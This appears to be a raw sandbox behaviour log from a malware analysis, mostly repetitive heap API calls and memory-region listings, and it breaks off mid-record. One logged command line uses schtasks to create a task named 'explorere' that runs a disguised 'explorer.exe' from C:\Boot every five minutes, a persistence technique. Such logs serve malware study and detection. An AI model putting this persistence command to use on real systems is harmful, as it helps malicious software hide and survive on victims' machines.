[0116.814] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924f40) returned 1 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.814] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924f40) returned 0x2 [0116.814] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924f40) returned 1 [0116.814] GetProcessHeap () returned 0x1b207920000 [0116.815] GetProcessHeap () returned 0x1b207920000 [0116.815] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079248b0) returned 1 [0116.815] GetProcessHeap () returned 0x1b207920000 [0116.815] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079248b0) returned 0x20 [0116.815] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079248b0) returned 1 [0116.815] GetProcessHeap () returned 0x1b207920000 [0116.815] GetProcessHeap () returned 0x1b207920000 [0116.815] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924900) returned 1 [0116.815] GetProcessHeap () returned 0x1b207920000 [0116.815] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924900) returned 0x20 [0116.815] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924900) returned 1 [0116.815] GetProcessHeap () returned 0x1b207920000 [0116.815] GetProcessHeap () returned 0x1b207920000 [0116.815] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924930) returned 1 [0116.815] GetProcessHeap () returned 0x1b207920000 [0116.815] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924930) returned 0x20 [0116.816] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924930) returned 1 [0116.816] GetProcessHeap () returned 0x1b207920000 [0116.816] GetProcessHeap () returned 0x1b207920000 [0116.816] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079244a0) returned 1 [0116.816] GetProcessHeap () returned 0x1b207920000 [0116.816] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079244a0) returned 0x20 [0116.816] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079244a0) returned 1 [0116.816] GetProcessHeap () returned 0x1b207920000 [0116.816] GetProcessHeap () returned 0x1b207920000 [0116.817] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792bb40) returned 1 [0116.817] GetProcessHeap () returned 0x1b207920000 [0116.817] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792bb40) returned 0x20 [0116.817] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792bb40) returned 1 [0116.817] GetProcessHeap () returned 0x1b207920000 [0116.817] GetProcessHeap () returned 0x1b207920000 [0116.817] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792aa70) returned 1 [0116.818] GetProcessHeap () returned 0x1b207920000 [0116.818] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792aa70) returned 0xa [0116.818] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792aa70) returned 1 [0116.818] GetProcessHeap () returned 0x1b207920000 [0116.818] GetProcessHeap () returned 0x1b207920000 [0116.818] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792bb70) returned 1 [0116.818] GetProcessHeap () returned 0x1b207920000 [0116.818] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792bb70) returned 0x20 [0116.818] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792bb70) returned 1 [0116.818] GetProcessHeap () returned 0x1b207920000 [0116.818] GetProcessHeap () returned 0x1b207920000 [0116.818] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207923990) returned 1 [0116.818] GetProcessHeap () returned 0x1b207920000 [0116.818] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207923990) returned 0x30 [0116.819] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207923990) returned 1 [0116.819] GetProcessHeap () returned 0x1b207920000 [0116.819] GetProcessHeap () returned 0x1b207920000 [0116.819] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b900) returned 1 [0116.819] GetProcessHeap () returned 0x1b207920000 [0116.819] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b900) returned 0x20 [0116.819] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b900) returned 1 [0116.819] GetProcessHeap () returned 0x1b207920000 [0116.819] GetProcessHeap () returned 0x1b207920000 [0116.819] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207923c60) returned 1 [0116.819] GetProcessHeap () returned 0x1b207920000 [0116.820] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207923c60) returned 0x30 [0116.820] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207923c60) returned 1 [0116.820] GetProcessHeap () returned 0x1b207920000 [0116.820] GetProcessHeap () returned 0x1b207920000 [0116.820] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b810) returned 1 [0116.820] GetProcessHeap () returned 0x1b207920000 [0116.820] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b810) returned 0x20 [0116.820] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b810) returned 1 [0116.821] GetProcessHeap () returned 0x1b207920000 [0116.821] GetProcessHeap () returned 0x1b207920000 [0116.821] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792aa90) returned 1 [0116.821] GetProcessHeap () returned 0x1b207920000 [0116.821] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792aa90) returned 0x10 [0116.821] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792aa90) returned 1 [0116.821] GetProcessHeap () returned 0x1b207920000 [0116.821] GetProcessHeap () returned 0x1b207920000 [0116.821] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b420) returned 1 [0116.821] GetProcessHeap () returned 0x1b207920000 [0116.821] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b420) returned 0x20 [0116.821] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b420) returned 1 [0116.821] GetProcessHeap () returned 0x1b207920000 [0116.821] GetProcessHeap () returned 0x1b207920000 [0116.821] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792ab50) returned 1 [0116.821] GetProcessHeap () returned 0x1b207920000 [0116.821] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792ab50) returned 0x10 [0116.821] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792ab50) returned 1 [0116.821] GetProcessHeap () returned 0x1b207920000 [0116.822] GetProcessHeap () returned 0x1b207920000 [0116.822] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792bae0) returned 1 [0116.822] GetProcessHeap () returned 0x1b207920000 [0116.822] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792bae0) returned 0x20 [0116.822] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792bae0) returned 1 [0116.822] GetProcessHeap () returned 0x1b207920000 [0116.822] GetProcessHeap () returned 0x1b207920000 [0116.822] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792aaf0) returned 1 [0116.822] GetProcessHeap () returned 0x1b207920000 [0116.822] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792aaf0) returned 0xe [0116.822] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792aaf0) returned 1 [0116.822] GetProcessHeap () returned 0x1b207920000 [0116.822] GetProcessHeap () returned 0x1b207920000 [0116.822] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b960) returned 1 [0116.822] GetProcessHeap () returned 0x1b207920000 [0116.822] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b960) returned 0x20 [0116.823] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b960) returned 1 [0116.823] GetProcessHeap () returned 0x1b207920000 [0116.823] GetProcessHeap () returned 0x1b207920000 [0116.823] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792aab0) returned 1 [0116.823] GetProcessHeap () returned 0x1b207920000 [0116.823] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792aab0) returned 0x16 [0116.823] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792aab0) returned 1 [0116.823] GetProcessHeap () returned 0x1b207920000 [0116.823] GetProcessHeap () returned 0x1b207920000 [0116.823] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792ba80) returned 1 [0116.823] GetProcessHeap () returned 0x1b207920000 [0116.823] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792ba80) returned 0x20 [0116.823] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792ba80) returned 1 [0116.824] GetProcessHeap () returned 0x1b207920000 [0116.824] GetProcessHeap () returned 0x1b207920000 [0116.824] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792ab30) returned 1 [0116.824] GetProcessHeap () returned 0x1b207920000 [0116.824] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792ab30) returned 0x16 [0116.824] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792ab30) returned 1 [0116.824] GetProcessHeap () returned 0x1b207920000 [0116.824] GetProcessHeap () returned 0x1b207920000 [0116.824] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b840) returned 1 [0116.824] GetProcessHeap () returned 0x1b207920000 [0116.824] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b840) returned 0x20 [0116.824] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b840) returned 1 [0116.824] GetProcessHeap () returned 0x1b207920000 [0116.824] GetProcessHeap () returned 0x1b207920000 [0116.824] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207945d00) returned 1 [0116.824] GetProcessHeap () returned 0x1b207920000 [0116.825] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207945d00) returned 0x82 [0116.825] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207945d00) returned 1 [0116.825] GetProcessHeap () returned 0x1b207920000 [0116.825] GetProcessHeap () returned 0x1b207920000 [0116.825] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b990) returned 1 [0116.825] GetProcessHeap () returned 0x1b207920000 [0116.825] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b990) returned 0x20 [0116.826] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b990) returned 1 [0116.829] GetProcessHeap () returned 0x1b207920000 [0116.829] GetProcessHeap () returned 0x1b207920000 [0116.829] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792aa50) returned 1 [0116.829] GetProcessHeap () returned 0x1b207920000 [0116.829] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792aa50) returned 0xe [0116.829] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792aa50) returned 1 [0116.829] GetProcessHeap () returned 0x1b207920000 [0116.829] GetProcessHeap () returned 0x1b207920000 [0116.829] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b20792b570) returned 1 [0116.829] GetProcessHeap () returned 0x1b207920000 [0116.830] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b20792b570) returned 0x20 [0116.830] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b20792b570) returned 1 [0116.830] GetProcessHeap () returned 0x1b207920000 [0116.830] GetProcessHeap () returned 0x1b207920000 [0116.830] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079248e0) returned 1 [0116.830] GetProcessHeap () returned 0x1b207920000 [0116.830] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079248e0) returned 0x18 [0116.830] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079248e0) returned 1 [0116.830] GetProcessHeap () returned 0x1b207920000 [0116.830] GetProcessHeap () returned 0x1b207920000 [0116.831] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207928ee0) returned 1 [0116.831] GetProcessHeap () returned 0x1b207920000 [0116.831] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207928ee0) returned 0x20 [0116.831] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207928ee0) returned 1 [0116.831] GetProcessHeap () returned 0x1b207920000 [0116.831] GetProcessHeap () returned 0x1b207920000 [0116.831] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207928f40) returned 1 [0116.831] GetProcessHeap () returned 0x1b207920000 [0116.831] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207928f40) returned 0x20 [0116.832] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207928f40) returned 1 [0116.832] GetProcessHeap () returned 0x1b207920000 [0116.832] GetProcessHeap () returned 0x1b207920000 [0116.832] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207929120) returned 1 [0116.832] GetProcessHeap () returned 0x1b207920000 [0116.832] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207929120) returned 0x20 [0116.833] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207929120) returned 1 [0116.833] GetProcessHeap () returned 0x1b207920000 [0116.833] GetProcessHeap () returned 0x1b207920000 [0116.833] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207929150) returned 1 [0116.833] GetProcessHeap () returned 0x1b207920000 [0116.833] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207929150) returned 0x20 [0116.833] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207929150) returned 1 [0116.833] GetProcessHeap () returned 0x1b207920000 [0116.833] GetProcessHeap () returned 0x1b207920000 [0116.833] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079244d0) returned 1 [0116.833] GetProcessHeap () returned 0x1b207920000 [0116.833] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079244d0) returned 0x18 [0116.833] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079244d0) returned 1 [0116.833] GetProcessHeap () returned 0x1b207920000 [0116.833] GetProcessHeap () returned 0x1b207920000 [0116.833] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207928f10) returned 1 [0116.833] GetProcessHeap () returned 0x1b207920000 [0116.833] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207928f10) returned 0x20 [0116.834] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207928f10) returned 1 [0116.834] GetProcessHeap () returned 0x1b207920000 [0116.834] GetProcessHeap () returned 0x1b207920000 [0116.834] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207929210) returned 1 [0116.834] GetProcessHeap () returned 0x1b207920000 [0116.834] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207929210) returned 0x20 [0116.834] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207929210) returned 1 [0116.834] GetProcessHeap () returned 0x1b207920000 [0116.834] GetProcessHeap () returned 0x1b207920000 [0116.835] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207928f70) returned 1 [0116.835] GetProcessHeap () returned 0x1b207920000 [0116.835] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207928f70) returned 0x20 [0116.835] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207928f70) returned 1 [0116.835] GetProcessHeap () returned 0x1b207920000 [0116.835] GetProcessHeap () returned 0x1b207920000 [0116.835] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079291b0) returned 1 [0116.835] GetProcessHeap () returned 0x1b207920000 [0116.835] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079291b0) returned 0x20 [0116.836] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079291b0) returned 1 [0116.836] GetProcessHeap () returned 0x1b207920000 [0116.836] GetProcessHeap () returned 0x1b207920000 [0116.836] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207929000) returned 1 [0116.836] GetProcessHeap () returned 0x1b207920000 [0116.836] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207929000) returned 0x20 [0116.840] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207929000) returned 1 [0116.841] GetProcessHeap () returned 0x1b207920000 [0116.841] GetProcessHeap () returned 0x1b207920000 [0116.841] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b2079244f0) returned 1 [0116.841] GetProcessHeap () returned 0x1b207920000 [0116.841] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b2079244f0) returned 0x18 [0116.841] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b2079244f0) returned 1 [0116.841] GetProcessHeap () returned 0x1b207920000 [0116.841] GetProcessHeap () returned 0x1b207920000 [0116.841] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207929180) returned 1 [0116.841] GetProcessHeap () returned 0x1b207920000 [0116.841] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207929180) returned 0x20 [0116.841] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207929180) returned 1 [0116.841] GetProcessHeap () returned 0x1b207920000 [0116.841] GetProcessHeap () returned 0x1b207920000 [0116.841] HeapValidate (hHeap=0x1b207920000, dwFlags=0x0, lpMem=0x1b207924f20) returned 1 [0116.841] GetProcessHeap () returned 0x1b207920000 [0116.841] RtlSizeHeap (HeapHandle=0x1b207920000, Flags=0x0, MemoryPointer=0x1b207924f20) returned 0x18 [0116.842] RtlFreeHeap (HeapHandle=0x1b207920000, Flags=0x0, BaseAddress=0x1b207924f20) returned 1 [0116.842] exit (_Code=0) Thread: id = 155 os_tid = 0x1308 Process: id = "17" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x10013000" os_pid = "0x1304" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"explorere\" /sc MINUTE /mo 5 /tr \"'C:\\Boot\\zh-TW\\explorer.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2907 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2908 start_va = 0x73cd640000 end_va = 0x73cd6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000073cd640000" filename = "" Region: id = 2909 start_va = 0x73cd800000 end_va = 0x73cd9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000073cd800000" filename = "" Region: id = 2910 start_va = 0x2556b050000 end_va = 0x2556b06ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002556b050000" filename = "" Region: id = 2911 start_va = 0x2556b070000 end_va = 0x2556b084fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002556b070000" filename = "" Region: id = 2912 start_va = 0x2556b090000 end_va = 0x2556b093fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002556b090000" filename = "" Region: id = 2913 start_va = 0x2556b0a0000 end_va = 0x2556b0a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002556b0a0000" filename = "" Region: id = 2914 start_va = 0x2556b0b0000 end_va = 0x2556b0b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002556b0b0000" filename = "" Region: id = 2915 start_va = 0x7df5ffb60000 end_va = 0x7ff5ffb5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffb60000" filename = "" Region: id = 2916 start_va = 0x7ff6842b0000 end_va = 0x7ff6842d2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6842b0000" filename = "" Region: id = 2917 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2918 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2919 start_va = 0x2556b0c0000 end_va = 0x2556b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002556b0c0000" filename = "" Region: id = 2920 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2921 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2922 start_va = 0x2556b050000 end_va = 0x2556b05ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002556b050000" filename = "" Region: id = 2923 start_va = 0x7ff6841b0000 end_va = 0x7ff6842affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6841b0000" filename = "" Region: id = 2924 start_va = 0x2556b1d0000 end_va = 0x2556b28dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2925 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2926 start_va = 0x73cd6c0000 end_va = 0x73cd73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000073cd6c0000" filename = "" Region: id = 2927 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2928 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2929 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2930 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2931 start_va = 0x2556b290000 end_va = 0x2556b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002556b290000" filename = "" Region: id = 2932 start_va = 0x2556b060000 end_va = 0x2556b066fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002556b060000" filename = "" Region: id = 2933 start_va = 0x2556b380000 end_va = 0x2556b4c2fff monitored = 0 entry_point = 0x2556b3a8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2934 start_va = 0x2556b0c0000 end_va = 0x2556b0c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002556b0c0000" filename = "" Region: id = 2935 start_va = 0x2556b0d0000 end_va = 0x2556b1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002556b0d0000" filename = "" Region: id = 2936 start_va = 0x2556b290000 end_va = 0x2556b2a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2937 start_va = 0x2556b370000 end_va = 0x2556b37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002556b370000" filename = "" Region: id = 2938 start_va = 0x2556b380000 end_va = 0x2556b6b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2939 start_va = 0x2556b6c0000 end_va = 0x2556b79cfff monitored = 0 entry_point = 0x2556b71e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2940 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2941 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2942 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2943 start_va = 0x2556b2b0000 end_va = 0x2556b2e8fff monitored = 0 entry_point = 0x2556b2b12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2944 start_va = 0x2556b6c0000 end_va = 0x2556b847fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002556b6c0000" filename = "" Region: id = 2945 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = 